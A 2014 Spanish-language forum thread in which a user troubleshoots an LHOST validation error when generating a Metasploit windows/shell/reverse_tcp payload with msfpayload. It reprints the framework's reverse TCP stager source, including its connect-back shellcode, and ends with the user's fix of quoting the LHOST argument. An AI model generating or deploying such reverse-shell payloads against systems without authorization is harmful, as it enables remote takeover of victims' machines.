(Solucionado) Como solucionar el error de validacion de Lhost en metasploit

Iniciado por Mister12, 24 Mayo 2014, 20:35 PM

0 Miembros y 1 Visitante están viendo este tema.

Mister12

Estoy tratando de setear la Ip y el host de my payload en metasploit usando el windows/shell/reverse_tcp despues de ingresar

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=My ip
LPORT=4441 o

Me aparece este mensaje de error:

Error generating the payload: The following options failed to validate: LHOST

La traduccion seria error generando el payload : Las siguientes opciones fallaron al validar: LHOST

A que se deve esos mensajes de error y como solucionarlo?

Buscando en google encontre lo siguiente lo cual me hace pensar que con una midificacion en el codigo fuente de los payload se podria solucionar pero no soy experto en programacion y necesito de su ayuda

Esto fue lo que encontre:

Este es el codigo de un exploit recopilado


Si se deja el codigo como esta dara el error de validcion de LHOST



Despues de corregir el codigo tendria que quedar haci



El codigo del los payload de metasploit son como este

Citar##
# $Id: reverse_tcp.rb 14774 2012-02-21 01:42:17Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'


module Metasploit3

  include Msf::Payload::Stager
  include Msf::Payload::Windows

  def initialize(info = {})
     super(merge_info(info,
        'Name'          => 'Reverse TCP Stager',
        'Version'       => '$Revision: 14774 $',
        'Description'   => 'Connect back to the attacker',
        'Author'        => ['hdm', 'skape', 'sf'],
        'License'       => MSF_LICENSE,
        'Platform'      => 'win',
        'Arch'          => ARCH_X86,
        'Handler'       => Msf::Handler::ReverseTcp,
        'Convention'    => 'sockedi',
        'Stager'        =>
           {
              'RequiresMidstager' => false,
              'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'] },
              'Payload' =>
                 # Length: 290 bytes
                 "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
                 "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
                 "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
                 "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
                 "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
                 "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
                 "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
                 "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
                 "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
                 "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
                 "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
                 "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
                 "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
                 "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
                 "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
                 "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00" +
                 "\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56" +
                 "\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75" +
                 "\xEC\xC3"
           }
        ))


  end

end                                                                                      

No tengo idea donde tendria que modificar
From some where at the other side of the universe

nrzamel


Mister12

Cita de: nrzamel en 24 Mayo 2014, 21:22 PM
Disculpa le pones la palabra My ip o tu direccion de ip?

Obvio que mi dirección IP "lo de my ip solo lo escribí como ejemplo por no publicar mi ip en el foro"
From some where at the other side of the universe

falc0n

Parece un error al pardear tu dirección ip a cadena de texto, prueba a ponerla entre comillas dobles

Mister12

#4
Hice lo que me indicaste y siempre me da el error de validación de LHOST, estudiando el lenguaje de programación Ruby he solucionado el problema, para que la Ip sea validada en LHOST se debe de escribir así ejemplo "LHOST=192.166.43.1" de igual forma en LPORT en la mayoría de tutorial solo dan ejemplos de esta forma,  LHOST=192.166.43.1 y debe de ser como lo explique en el primer ejemplo.
From some where at the other side of the universe